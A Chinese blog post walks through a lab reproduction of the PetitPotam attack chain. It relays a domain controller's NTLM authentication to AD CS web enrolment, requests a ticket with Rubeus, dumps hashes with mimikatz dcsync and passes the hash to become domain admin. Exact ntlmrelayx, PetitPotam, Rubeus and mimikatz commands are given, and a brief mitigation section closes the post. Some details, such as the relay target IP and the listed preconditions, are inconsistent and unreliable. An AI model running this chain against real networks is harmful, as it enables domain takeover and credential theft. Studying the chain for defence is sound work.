使用PetitPotam到NTLM中继到域管理员

  1. 简介
  2. 准备环境
  3. 利用条件
  4. 攻击流程
  5. 复现过程
  6. 防御措施
  7. 参考链接

简介

最近披露的几个漏洞,分别是:

  • MS-EFSRPC – 又名 PetitPotam
  • 滥用 AD CS 角色的凭证中继
    任何具有内部网络访问权限的攻击者(例如网络中的网络钓鱼客户端或恶意植入设备)都可以在没有任何初始凭据的情况下接管整个 Active Directory 域。当前在默认配置中,域控制器和 AD CS 容易受到这种攻击。
    当 PetitPotam 被利用并将 NTLM 凭据中继到 Active Directory 证书服务时,攻击者无需事先对域进行任何身份验证即可获得域管理员权限。本文将详细介绍漏洞利用所需的步骤,然后介绍 PetitPotam 的缓解措施。
    攻击者可以使用 PetitPotam 触发域控制器以将 NTLM 凭据中继到所选主机。然后可以将域控制器的 NTLM 凭据中继到 Active Directory 证书服务 (AD CS) Web 注册页面,并且可以注册 DC 证书。然后可以使用此证书来请求 TGT(票证授予票证)并通过 Pass-The-Ticket 破坏整个域。
    AD CS(Active Directory 证书服务)特别有趣,因为它提供默认接受基于 NTLM 的身份验证的角色服务。这些服务具体包括证书颁发机构 Web 注册和证书注册 Web 服务。

准备环境

这几天踩的坑点:不能在DC安装AD证书服务进行测试,必须分开安装,具体情况是反射自身出问题还是什么不知道
DC: Windows Server 2019 IP:192.168.93.246
AD CS(证书服务器):Windows Server 2008 IP:192.168.93.141
Attack Kali IP:192.168.93.133

准备的工具:

  • Rubeus 1.6.4
  • mimikatz
  • impacket分支(ntlmrelayx-adcs-attack)

环境搭建过程:
(由小离提供的教程)
https://github.com/422926799/note/blob/master/%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/%E4%BD%BF%E7%94%A8%20PetitPotam%20%E5%88%B0%20NTLM%20%E4%B8%AD%E7%BB%A7%E5%88%B0%E5%9F%9F%E7%AE%A1%E7%90%86%E5%91%98/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.pdf

利用条件

  • 证书注册 Web 界面,通过安装证书颁发机构 Web 注册角色。作为在http:///certsrv/ 上运行的 IIS 托管的 ASP Web 注册应用程序公开
  • 证书注册服务 (CES),通过安装证书注册 Web 服务角色。通过安装证书注册策略 Web 服务角色,与证书注册策略 (CEP) Web 服务协同工作。白皮书中的详细信息。
  • 网络设备注册服务 (NDES),通过安装网络设备注册服务 角色。作为白皮书中描述的一系列接口公开。
  • 注册 HTTP 端点没有启用 HTTPS/没有启用任何 NTLM 中继保护(默认允许NTLM)
  • GPO 禁用 NTLM 身份验证或将关联的 IIS 应用程序配置为仅接受 Kerberos 身份验证

攻击流程

  1. 使用 PetitPotam 触发从域控制器到侦听器的 NTLM 身份验证(运行响应程序或 ntlmrelayx)
  2. 使用 ntlmrelayx 使用“KerberosAuthentication”或“DomainControllers”AD CS 模板将 DC 的凭据中继到启用了 Web 注册(必须启用 NTLM 身份验证并默认启用)的 AD CS(Active Directory 证书服务)服务器。
  3. 获取通过NTLM中继获取的Base64 PKCS12证书
  4. 使用Base64 PKCS12 cert导入Kekeo请求TGT(Ticket Granting Ticket)
  5. 使用 mimikatz 为选择的用户(管理员、Krbtgt 等)转储 LSA 机密
  6. 记下域管理员用户的 NT 哈希值
  7. 使用 wmiexec 以该用户身份获得对域控制器的执行并执行 NT 哈希的哈希传递

前三步流程图

复现过程

下载新版impacket切换到ntlmrelayx-adcs-attack分支

git clone https://github.com/ExAndroidDev/impacket.git # Clone the custom ntlmrelayx repo
cd impacket
git checkout ntlmrelayx-adcs-attack # checkout to the right branch - this caught me out
sudo pip3 install -r requirements.txt
sudo python3 setup.py install

开启监听

sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.93.246/certsrv/certfnsh.asp --adcs --template DomainController

注:这里模板必须要用DomainController,否则出现以下问题

开启监听

证书机器执行

PetitPotam.exe <Attack_IP> <DC_IP>

(执行后在监听那边可以收到base64,这里可能不会出现Attack Sucess关键字但还是成功的)

利用Rubeus获取TGT导入到当前进程

Rubeus.exe asktgt /outfile:kirbi /user:WIN-0ASLVBO5ID9$ /ptt /certificate:<Base64> #这里的/user为/user:<DC的机器名>$

利用mimikatz导出域管哈希

lsadump::dcsync /user:Administrator

wmicexec.py连接即可

或者也可以dump krbtgt的hash生成金票

防御措施

IIS关闭NTLM验证

只允许kerberos验证

GPO关闭NTLM身份验证

参考链接

https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory/
https://www.youtube.com/watch?v=K0N90sI_GhI


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:使用PetitPotam到NTLM中继到域管理员

本文作者:九世

发布时间:2021-08-07, 19:57:32

最后更新:2021-08-07, 20:47:46

原始链接:http://jiushill.github.io/posts/d55c75ac.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录